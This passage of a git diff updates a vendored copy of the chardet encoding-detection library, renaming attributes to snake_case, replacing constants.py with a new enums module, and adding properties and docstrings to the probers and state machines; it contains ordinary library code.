+ first_char, second_char = byte_str[0], byte_str[1] if (first_char >= 0xB0) and (second_char >= 0xA1): return 94 * (first_char - 0xB0) + second_char - 0xA1 else: @@ -167,17 +169,17 @@ def get_order(self, aBuf): class Big5DistributionAnalysis(CharDistributionAnalysis): def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = Big5CharToFreqOrder - self._mTableSize = BIG5_TABLE_SIZE - self._mTypicalDistributionRatio = BIG5_TYPICAL_DISTRIBUTION_RATIO + super(Big5DistributionAnalysis, self).__init__() + self._char_to_freq_order = BIG5_CHAR_TO_FREQ_ORDER + self._table_size = BIG5_TABLE_SIZE + self.typical_distribution_ratio = BIG5_TYPICAL_DISTRIBUTION_RATIO - def get_order(self, aBuf): + def get_order(self, byte_str): # for big5 encoding, we are interested # first byte range: 0xa4 -- 0xfe # second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe # no validation needed here. State machine has done that - first_char, second_char = wrap_ord(aBuf[0]), wrap_ord(aBuf[1]) + first_char, second_char = byte_str[0], byte_str[1] if first_char >= 0xA4: if second_char >= 0xA1: return 157 * (first_char - 0xA4) + second_char - 0xA1 + 63 @@ -189,17 +191,17 @@ def get_order(self, aBuf): class SJISDistributionAnalysis(CharDistributionAnalysis): def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = JISCharToFreqOrder - self._mTableSize = JIS_TABLE_SIZE - self._mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO + super(SJISDistributionAnalysis, self).__init__() + self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER + self._table_size = JIS_TABLE_SIZE + self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO - def get_order(self, aBuf): + def get_order(self, byte_str): # for sjis encoding, we are interested # first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe # second byte range: 0x40 -- 0x7e, 0x81 -- oxfe # no validation needed here. State machine has done that - first_char, second_char = wrap_ord(aBuf[0]), wrap_ord(aBuf[1]) + first_char, second_char = byte_str[0], byte_str[1] if (first_char >= 0x81) and (first_char <= 0x9F): order = 188 * (first_char - 0x81) elif (first_char >= 0xE0) and (first_char <= 0xEF): @@ -214,18 +216,18 @@ def get_order(self, aBuf): class EUCJPDistributionAnalysis(CharDistributionAnalysis): def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = JISCharToFreqOrder - self._mTableSize = JIS_TABLE_SIZE - self._mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO + super(EUCJPDistributionAnalysis, self).__init__() + self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER + self._table_size = JIS_TABLE_SIZE + self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO - def get_order(self, aBuf): + def get_order(self, byte_str): # for euc-JP encoding, we are interested # first byte range: 0xa0 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that - char = wrap_ord(aBuf[0]) + char = byte_str[0] if char >= 0xA0: - return 94 * (char - 0xA1) + wrap_ord(aBuf[1]) - 0xa1 + return 94 * (char - 0xA1) + byte_str[1] - 0xa1 else: return -1 diff --git a/thirdparty/chardet/charsetgroupprober.py b/thirdparty/chardet/charsetgroupprober.py index 85e7a1c67db..8b3738efd8e 100644 --- a/thirdparty/chardet/charsetgroupprober.py +++ b/thirdparty/chardet/charsetgroupprober.py @@ -1,11 +1,11 @@ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. -# +# # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. -# +# # Contributor(s): # Mark Pilgrim - port to Python # @@ -13,94 +13,94 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from . import constants -import sys +from .enums import ProbingState from .charsetprober import CharSetProber class CharSetGroupProber(CharSetProber): - def __init__(self): - CharSetProber.__init__(self) - self._mActiveNum = 0 - self._mProbers = [] - self._mBestGuessProber = None + def __init__(self, lang_filter=None): + super(CharSetGroupProber, self).__init__(lang_filter=lang_filter) + self._active_num = 0 + self.probers = [] + self._best_guess_prober = None def reset(self): - CharSetProber.reset(self) - self._mActiveNum = 0 - for prober in self._mProbers: + super(CharSetGroupProber, self).reset() + self._active_num = 0 + for prober in self.probers: if prober: prober.reset() prober.active = True - self._mActiveNum += 1 - self._mBestGuessProber = None + self._active_num += 1 + self._best_guess_prober = None + + @property + def charset_name(self): + if not self._best_guess_prober: + self.get_confidence() + if not self._best_guess_prober: + return None + return self._best_guess_prober.charset_name - def get_charset_name(self): - if not self._mBestGuessProber: + @property + def language(self): + if not self._best_guess_prober: self.get_confidence() - if not self._mBestGuessProber: + if not self._best_guess_prober: return None -# self._mBestGuessProber = self._mProbers[0] - return self._mBestGuessProber.get_charset_name() + return self._best_guess_prober.language - def feed(self, aBuf): - for prober in self._mProbers: + def feed(self, byte_str): + for prober in self.probers: if not prober: continue if not prober.active: continue - st = prober.feed(aBuf) - if not st: + state = prober.feed(byte_str) + if not state: continue - if st == constants.eFoundIt: - self._mBestGuessProber = prober - return self.get_state() - elif st == constants.eNotMe: + if state == ProbingState.FOUND_IT: + self._best_guess_prober = prober + return self.state + elif state == ProbingState.NOT_ME: prober.active = False - self._mActiveNum -= 1 - if self._mActiveNum <= 0: - self._mState = constants.eNotMe - return self.get_state() - return self.get_state() + self._active_num -= 1 + if self._active_num <= 0: + self._state = ProbingState.NOT_ME + return self.state + return self.state def get_confidence(self): - st = self.get_state() - if st == constants.eFoundIt: + state = self.state + if state == ProbingState.FOUND_IT: return 0.99 - elif st == constants.eNotMe: + elif state == ProbingState.NOT_ME: return 0.01 - bestConf = 0.0 - self._mBestGuessProber = None - for prober in self._mProbers: + best_conf = 0.0 + self._best_guess_prober = None + for prober in self.probers: if not prober: continue if not prober.active: - if constants._debug: - sys.stderr.write(prober.get_charset_name() - + ' not active\n') + self.logger.debug('%s not active', prober.charset_name) continue - cf = prober.get_confidence() - if constants._debug: - sys.stderr.write('%s confidence = %s\n' % - (prober.get_charset_name(), cf)) - if bestConf < cf: - bestConf = cf - self._mBestGuessProber = prober - if not self._mBestGuessProber: + conf = prober.get_confidence() + self.logger.debug('%s %s confidence = %s', prober.charset_name, prober.language, conf) + if best_conf < conf: + best_conf = conf + self._best_guess_prober = prober + if not self._best_guess_prober: return 0.0 - return bestConf -# else: -# self._mBestGuessProber = self._mProbers[0] -# return self._mBestGuessProber.get_confidence() + return best_conf diff --git a/thirdparty/chardet/charsetprober.py b/thirdparty/chardet/charsetprober.py index 97581712c1c..eac4e598657 100644 --- a/thirdparty/chardet/charsetprober.py +++ b/thirdparty/chardet/charsetprober.py @@ -26,37 +26,120 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from . import constants +import logging import re +from .enums import ProbingState -class CharSetProber: - def __init__(self): - pass + +class CharSetProber(object): + + SHORTCUT_THRESHOLD = 0.95 + + def __init__(self, lang_filter=None): + self._state = None + self.lang_filter = lang_filter + self.logger = logging.getLogger(__name__) def reset(self): - self._mState = constants.eDetecting + self._state = ProbingState.DETECTING - def get_charset_name(self): + @property + def charset_name(self): return None - def feed(self, aBuf): + def feed(self, buf): pass - def get_state(self): - return self._mState + @property + def state(self): + return self._state def get_confidence(self): return 0.0 - def filter_high_bit_only(self, aBuf): - aBuf = re.sub(b'([\x00-\x7F])+', b' ', aBuf) - return aBuf + @staticmethod + def filter_high_byte_only(buf): + buf = re.sub(b'([\x00-\x7F])+', b' ', buf) + return buf + + @staticmethod + def filter_international_words(buf): + """ + We define three types of bytes: + alphabet: english alphabets [a-zA-Z] + international: international characters [\x80-\xFF] + marker: everything else [^a-zA-Z\x80-\xFF] + + The input buffer can be thought to contain a series of words delimited + by markers. This function works to filter all words that contain at + least one international character. All contiguous sequences of markers + are replaced by a single space ascii character. + + This filter applies to all scripts which do not use English characters. + """ + filtered = bytearray() + + # This regex expression filters out only words that have at-least one + # international character. The word may include one marker character at + # the end. + words = re.findall(b'[a-zA-Z]*[\x80-\xFF]+[a-zA-Z]*[^a-zA-Z\x80-\xFF]?', + buf) + + for word in words: + filtered.extend(word[:-1]) + + # If the last character in the word is a marker, replace it with a + # space as markers shouldn't affect our analysis (they are used + # similarly across all languages and may thus have similar + # frequencies). + last_char = word[-1:] + if not last_char.isalpha() and last_char < b'\x80': + last_char = b' ' + filtered.extend(last_char) + + return filtered + + @staticmethod + def filter_with_english_letters(buf): + """ + Returns a copy of ``buf`` that retains only the sequences of English + alphabet and high byte characters that are not between <> characters. + Also retains English alphabet and high byte characters immediately + before occurrences of >. + + This filter can be applied to all scripts which contain both English + characters and extended ASCII characters, but is currently only used by + ``Latin1Prober``. + """ + filtered = bytearray() + in_tag = False + prev = 0 + + for curr in range(len(buf)): + # Slice here to get bytes instead of an int with Python 3 + buf_char = buf[curr:curr + 1] + # Check if we're coming out of or entering an HTML tag + if buf_char == b'>': + in_tag = False + elif buf_char == b'<': + in_tag = True + + # If current character is not extended-ASCII and not alphabetic... + if buf_char < b'\x80' and not buf_char.isalpha(): + # ...and we're not in a tag + if curr > prev and not in_tag: + # Keep everything after last non-extended-ASCII, + # non-alphabetic character + filtered.extend(buf[prev:curr]) + # Output a space to delimit stretch we kept + filtered.extend(b' ') + prev = curr + 1 - def filter_without_english_letters(self, aBuf): - aBuf = re.sub(b'([A-Za-z])+', b' ', aBuf) - return aBuf + # If we're not in a tag... + if not in_tag: + # Keep everything after last non-extended-ASCII, non-alphabetic + # character + filtered.extend(buf[prev:]) - def filter_with_english_letters(self, aBuf): - # TODO - return aBuf + return filtered diff --git a/thirdparty/chardet/codingstatemachine.py b/thirdparty/chardet/codingstatemachine.py index 8dd8c917983..68fba44f143 100644 --- a/thirdparty/chardet/codingstatemachine.py +++ b/thirdparty/chardet/codingstatemachine.py @@ -25,37 +25,64 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from .constants import eStart -from .compat import wrap_ord +import logging +from .enums import MachineState -class CodingStateMachine: + +class CodingStateMachine(object): + """ + A state machine to verify a byte sequence for a particular encoding. For + each byte the detector receives, it will feed that byte to every active + state machine available, one byte at a time. The state machine changes its + state based on its previous state and the byte it receives. There are 3 + states in a state machine that are of interest to an auto-detector: + + START state: This is the state to start with, or a legal byte sequence + (i.e. a valid code point) for character has been identified. + + ME state: This indicates that the state machine identified a byte sequence + that is specific to the charset it is designed for and that + there is no other possible encoding which can contain this byte + sequence. This will to lead to an immediate positive answer for + the detector. + + ERROR state: This indicates the state machine identified an illegal byte + sequence for that encoding. This will lead to an immediate + negative answer for this encoding. Detector will exclude this + encoding from consideration from here on. + """ def __init__(self, sm): - self._mModel = sm - self._mCurrentBytePos = 0 - self._mCurrentCharLen = 0 + self._model = sm + self._curr_byte_pos = 0 + self._curr_char_len = 0 + self._curr_state = None + self.logger = logging.getLogger(__name__) self.reset() def reset(self): - self._mCurrentState = eStart + self._curr_state = MachineState.START def next_state(self, c): # for each byte we get its class # if it is first byte, we also get byte length - # PY3K: aBuf is a byte stream, so c is an int, not a byte - byteCls = self._mModel['classTable'][wrap_ord(c)] - if self._mCurrentState == eStart: - self._mCurrentBytePos = 0 - self._mCurrentCharLen = self._mModel['charLenTable'][byteCls] - # from byte's class and stateTable, we get its next state - curr_state = (self._mCurrentState * self._mModel['classFactor'] - + byteCls) - self._mCurrentState = self._mModel['stateTable'][curr_state] - self._mCurrentBytePos += 1 - return self._mCurrentState + byte_class = self._model['class_table'][c] + if self._curr_state == MachineState.START: + self._curr_byte_pos = 0 + self._curr_char_len = self._model['char_len_table'][byte_class] + # from byte's class and state_table, we get its next state + curr_state = (self._curr_state * self._model['class_factor'] + + byte_class) + self._curr_state = self._model['state_table'][curr_state] + self._curr_byte_pos += 1 + return self._curr_state def get_current_charlen(self): - return self._mCurrentCharLen + return self._curr_char_len def get_coding_state_machine(self): - return self._mModel['name'] + return self._model['name'] + + @property + def language(self): + return self._model['language'] diff --git a/thirdparty/chardet/compat.py b/thirdparty/chardet/compat.py index d9e30addf9b..ddd74687c02 100644 --- a/thirdparty/chardet/compat.py +++ b/thirdparty/chardet/compat.py @@ -1,6 +1,7 @@ ######################## BEGIN LICENSE BLOCK ######################## # Contributor(s): -# Ian Cordasco - port to Python +# Dan Blanchard +# Ian Cordasco # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public @@ -22,13 +23,12 @@ if sys.version_info < (3, 0): + PY2 = True + PY3 = False base_str = (str, unicode) + text_type = unicode else: + PY2 = False + PY3 = True base_str = (bytes, str) - - -def wrap_ord(a): - if sys.version_info < (3, 0) and isinstance(a, base_str): - return ord(a) - else: - return a + text_type = str diff --git a/thirdparty/chardet/constants.py b/thirdparty/chardet/constants.py deleted file mode 100644 index e4d148b3c5b..00000000000 --- a/thirdparty/chardet/constants.py +++ /dev/null @@ -1,39 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Universal charset detector code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 2001 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# Shy Shalom - original C code -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -_debug = 0 - -eDetecting = 0 -eFoundIt = 1 -eNotMe = 2 - -eStart = 0 -eError = 1 -eItsMe = 2 - -SHORTCUT_THRESHOLD = 0.95 diff --git a/thirdparty/chardet/cp949prober.py b/thirdparty/chardet/cp949prober.py index ff4272f82a0..efd793abca4 100644 --- a/thirdparty/chardet/cp949prober.py +++ b/thirdparty/chardet/cp949prober.py @@ -25,20 +25,25 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from .mbcharsetprober import MultiByteCharSetProber -from .codingstatemachine import CodingStateMachine from .chardistribution import EUCKRDistributionAnalysis -from .mbcssm import CP949SMModel +from .codingstatemachine import CodingStateMachine +from .mbcharsetprober import MultiByteCharSetProber +from .mbcssm import CP949_SM_MODEL class CP949Prober(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(CP949SMModel) + super(CP949Prober, self).__init__() + self.coding_sm = CodingStateMachine(CP949_SM_MODEL) # NOTE: CP949 is a superset of EUC-KR, so the distribution should be # not different. - self._mDistributionAnalyzer = EUCKRDistributionAnalysis() + self.distribution_analyzer = EUCKRDistributionAnalysis() self.reset() - def get_charset_name(self): + @property + def charset_name(self): return "CP949" + + @property + def language(self): + return "Korean" diff --git a/thirdparty/chardet/enums.py b/thirdparty/chardet/enums.py new file mode 100644 index 00000000000..04512072251 --- /dev/null +++ b/thirdparty/chardet/enums.py @@ -0,0 +1,76 @@ +""" +All of the Enums that are used throughout the chardet package. + +:author: Dan Blanchard (dan.blanchard@gmail.com) +""" + + +class InputState(object): + """ + This enum represents the different states a universal detector can be in. + """ + PURE_ASCII = 0 + ESC_ASCII = 1 + HIGH_BYTE = 2 + + +class LanguageFilter(object): + """ + This enum represents the different language filters we can apply to a + ``UniversalDetector``. + """ + CHINESE_SIMPLIFIED = 0x01 + CHINESE_TRADITIONAL = 0x02 + JAPANESE = 0x04 + KOREAN = 0x08 + NON_CJK = 0x10 + ALL = 0x1F + CHINESE = CHINESE_SIMPLIFIED | CHINESE_TRADITIONAL + CJK = CHINESE | JAPANESE | KOREAN + + +class ProbingState(object): + """ + This enum represents the different states a prober can be in. + """ + DETECTING = 0 + FOUND_IT = 1 + NOT_ME = 2 + + +class MachineState(object): + """ + This enum represents the different states a state machine can be in. + """ + START = 0 + ERROR = 1 + ITS_ME = 2 + + +class SequenceLikelihood(object): + """ + This enum represents the likelihood of a character following the previous one. + """ + NEGATIVE = 0 + UNLIKELY = 1 + LIKELY = 2 + POSITIVE = 3 + + @classmethod + def get_num_categories(cls): + """:returns: The number of likelihood categories in the enum.""" + return 4 + + +class CharacterCategory(object): + """ + This enum represents the different categories language models for + ``SingleByteCharsetProber`` put characters into. + + Anything less than CONTROL is considered a letter. + """ + UNDEFINED = 255 + LINE_BREAK = 254 + SYMBOL = 253 + DIGIT = 252 + CONTROL = 251 diff --git a/thirdparty/chardet/escprober.py b/thirdparty/chardet/escprober.py index 80a844ff34c..c70493f2b13 100644 --- a/thirdparty/chardet/escprober.py +++ b/thirdparty/chardet/escprober.py @@ -25,62 +25,77 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from . import constants -from .escsm import (HZSMModel, ISO2022CNSMModel, ISO2022JPSMModel, - ISO2022KRSMModel) from .charsetprober import CharSetProber from .codingstatemachine import CodingStateMachine -from .compat import wrap_ord +from .enums import LanguageFilter, ProbingState, MachineState +from .escsm import (HZ_SM_MODEL, ISO2022CN_SM_MODEL, ISO2022JP_SM_MODEL, + ISO2022KR_SM_MODEL) class EscCharSetProber(CharSetProber): - def __init__(self): - CharSetProber.__init__(self) - self._mCodingSM = [ - CodingStateMachine(HZSMModel), - CodingStateMachine(ISO2022CNSMModel), - CodingStateMachine(ISO2022JPSMModel), - CodingStateMachine(ISO2022KRSMModel) - ] + """ + This CharSetProber uses a "code scheme" approach for detecting encodings, + whereby easily recognizable escape or shift sequences are relied on to + identify these encodings. + """ + + def __init__(self, lang_filter=None): + super(EscCharSetProber, self).__init__(lang_filter=lang_filter) + self.coding_sm = [] + if self.lang_filter & LanguageFilter.CHINESE_SIMPLIFIED: + self.coding_sm.append(CodingStateMachine(HZ_SM_MODEL)) + self.coding_sm.append(CodingStateMachine(ISO2022CN_SM_MODEL)) + if self.lang_filter & LanguageFilter.JAPANESE: + self.coding_sm.append(CodingStateMachine(ISO2022JP_SM_MODEL)) + if self.lang_filter & LanguageFilter.KOREAN: + self.coding_sm.append(CodingStateMachine(ISO2022KR_SM_MODEL)) + self.active_sm_count = None + self._detected_charset = None + self._detected_language = None + self._state = None self.reset() def reset(self): - CharSetProber.reset(self) - for codingSM in self._mCodingSM: - if not codingSM: + super(EscCharSetProber, self).reset() + for coding_sm in self.coding_sm: + if not coding_sm: continue - codingSM.active = True - codingSM.reset() - self._mActiveSM = len(self._mCodingSM) - self._mDetectedCharset = None + coding_sm.active = True + coding_sm.reset() + self.active_sm_count = len(self.coding_sm) + self._detected_charset = None + self._detected_language = None + + @property + def charset_name(self): + return self._detected_charset - def get_charset_name(self): - return self._mDetectedCharset + @property + def language(self): + return self._detected_language def get_confidence(self): - if self._mDetectedCharset: + if self._detected_charset: return 0.99 else: return 0.00 - def feed(self, aBuf): - for c in aBuf: - # PY3K: aBuf is a byte array, so c is an int, not a byte - for codingSM in self._mCodingSM: - if not codingSM: - continue - if not codingSM.active: + def feed(self, byte_str): + for c in byte_str: + for coding_sm in self.coding_sm: + if not coding_sm or not coding_sm.active: continue - codingState = codingSM.next_state(wrap_ord(c)) - if codingState == constants.eError: - codingSM.active = False - self._mActiveSM -= 1 - if self._mActiveSM <= 0: - self._mState = constants.eNotMe - return self.get_state() - elif codingState == constants.eItsMe: - self._mState = constants.eFoundIt - self._mDetectedCharset = codingSM.get_coding_state_machine() # nopep8 - return self.get_state() + coding_state = coding_sm.next_state(c) + if coding_state == MachineState.ERROR: + coding_sm.active = False + self.active_sm_count -= 1 + if self.active_sm_count <= 0: + self._state = ProbingState.NOT_ME + return self.state + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + self._detected_charset = coding_sm.get_coding_state_machine() + self._detected_language = coding_sm.language + return self.state - return self.get_state() + return self.state diff --git a/thirdparty/chardet/escsm.py b/thirdparty/chardet/escsm.py index bd302b4c61d..0069523a049 100644 --- a/thirdparty/chardet/escsm.py +++ b/thirdparty/chardet/escsm.py @@ -25,9 +25,9 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from .constants import eStart, eError, eItsMe +from .enums import MachineState -HZ_cls = ( +HZ_CLS = ( 1,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 @@ -62,24 +62,25 @@ 1,1,1,1,1,1,1,1, # f8 - ff ) -HZ_st = ( -eStart,eError, 3,eStart,eStart,eStart,eError,eError,# 00-07 -eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 08-0f -eItsMe,eItsMe,eError,eError,eStart,eStart, 4,eError,# 10-17 - 5,eError, 6,eError, 5, 5, 4,eError,# 18-1f - 4,eError, 4, 4, 4,eError, 4,eError,# 20-27 - 4,eItsMe,eStart,eStart,eStart,eStart,eStart,eStart,# 28-2f +HZ_ST = ( +MachineState.START,MachineState.ERROR, 3,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,# 00-07 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 08-0f +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START, 4,MachineState.ERROR,# 10-17 + 5,MachineState.ERROR, 6,MachineState.ERROR, 5, 5, 4,MachineState.ERROR,# 18-1f + 4,MachineState.ERROR, 4, 4, 4,MachineState.ERROR, 4,MachineState.ERROR,# 20-27 + 4,MachineState.ITS_ME,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 28-2f ) -HZCharLenTable = (0, 0, 0, 0, 0, 0) +HZ_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0) -HZSMModel = {'classTable': HZ_cls, - 'classFactor': 6, - 'stateTable': HZ_st, - 'charLenTable': HZCharLenTable, - 'name': "HZ-GB-2312"} +HZ_SM_MODEL = {'class_table': HZ_CLS, + 'class_factor': 6, + 'state_table': HZ_ST, + 'char_len_table': HZ_CHAR_LEN_TABLE, + 'name': "HZ-GB-2312", + 'language': 'Chinese'} -ISO2022CN_cls = ( +ISO2022CN_CLS = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 @@ -114,26 +115,27 @@ 2,2,2,2,2,2,2,2, # f8 - ff ) -ISO2022CN_st = ( -eStart, 3,eError,eStart,eStart,eStart,eStart,eStart,# 00-07 -eStart,eError,eError,eError,eError,eError,eError,eError,# 08-0f -eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,# 10-17 -eItsMe,eItsMe,eItsMe,eError,eError,eError, 4,eError,# 18-1f -eError,eError,eError,eItsMe,eError,eError,eError,eError,# 20-27 - 5, 6,eError,eError,eError,eError,eError,eError,# 28-2f -eError,eError,eError,eItsMe,eError,eError,eError,eError,# 30-37 -eError,eError,eError,eError,eError,eItsMe,eError,eStart,# 38-3f +ISO2022CN_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 00-07 +MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 08-0f +MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 10-17 +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,# 18-1f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 20-27 + 5, 6,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 28-2f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 30-37 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,# 38-3f ) -ISO2022CNCharLenTable = (0, 0, 0, 0, 0, 0, 0, 0, 0) +ISO2022CN_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0, 0, 0, 0) -ISO2022CNSMModel = {'classTable': ISO2022CN_cls, - 'classFactor': 9, - 'stateTable': ISO2022CN_st, - 'charLenTable': ISO2022CNCharLenTable, - 'name': "ISO-2022-CN"} +ISO2022CN_SM_MODEL = {'class_table': ISO2022CN_CLS, + 'class_factor': 9, + 'state_table': ISO2022CN_ST, + 'char_len_table': ISO2022CN_CHAR_LEN_TABLE, + 'name': "ISO-2022-CN", + 'language': 'Chinese'} -ISO2022JP_cls = ( +ISO2022JP_CLS = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,2,2, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 @@ -168,27 +170,28 @@ 2,2,2,2,2,2,2,2, # f8 - ff ) -ISO2022JP_st = ( -eStart, 3,eError,eStart,eStart,eStart,eStart,eStart,# 00-07 -eStart,eStart,eError,eError,eError,eError,eError,eError,# 08-0f -eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 10-17 -eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,# 18-1f -eError, 5,eError,eError,eError, 4,eError,eError,# 20-27 -eError,eError,eError, 6,eItsMe,eError,eItsMe,eError,# 28-2f -eError,eError,eError,eError,eError,eError,eItsMe,eItsMe,# 30-37 -eError,eError,eError,eItsMe,eError,eError,eError,eError,# 38-3f -eError,eError,eError,eError,eItsMe,eError,eStart,eStart,# 40-47 +ISO2022JP_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 00-07 +MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 08-0f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 10-17 +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,# 18-1f +MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,MachineState.ERROR,# 20-27 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 6,MachineState.ITS_ME,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,# 28-2f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,# 30-37 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 38-3f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,MachineState.START,# 40-47 ) -ISO2022JPCharLenTable = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0) +ISO2022JP_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0) -ISO2022JPSMModel = {'classTable': ISO2022JP_cls, - 'classFactor': 10, - 'stateTable': ISO2022JP_st, - 'charLenTable': ISO2022JPCharLenTable, - 'name': "ISO-2022-JP"} +ISO2022JP_SM_MODEL = {'class_table': ISO2022JP_CLS, + 'class_factor': 10, + 'state_table': ISO2022JP_ST, + 'char_len_table': ISO2022JP_CHAR_LEN_TABLE, + 'name': "ISO-2022-JP", + 'language': 'Japanese'} -ISO2022KR_cls = ( +ISO2022KR_CLS = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 @@ -223,20 +226,21 @@ 2,2,2,2,2,2,2,2, # f8 - ff ) -ISO2022KR_st = ( -eStart, 3,eError,eStart,eStart,eStart,eError,eError,# 00-07 -eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 08-0f -eItsMe,eItsMe,eError,eError,eError, 4,eError,eError,# 10-17 -eError,eError,eError,eError, 5,eError,eError,eError,# 18-1f -eError,eError,eError,eItsMe,eStart,eStart,eStart,eStart,# 20-27 +ISO2022KR_ST = ( +MachineState.START, 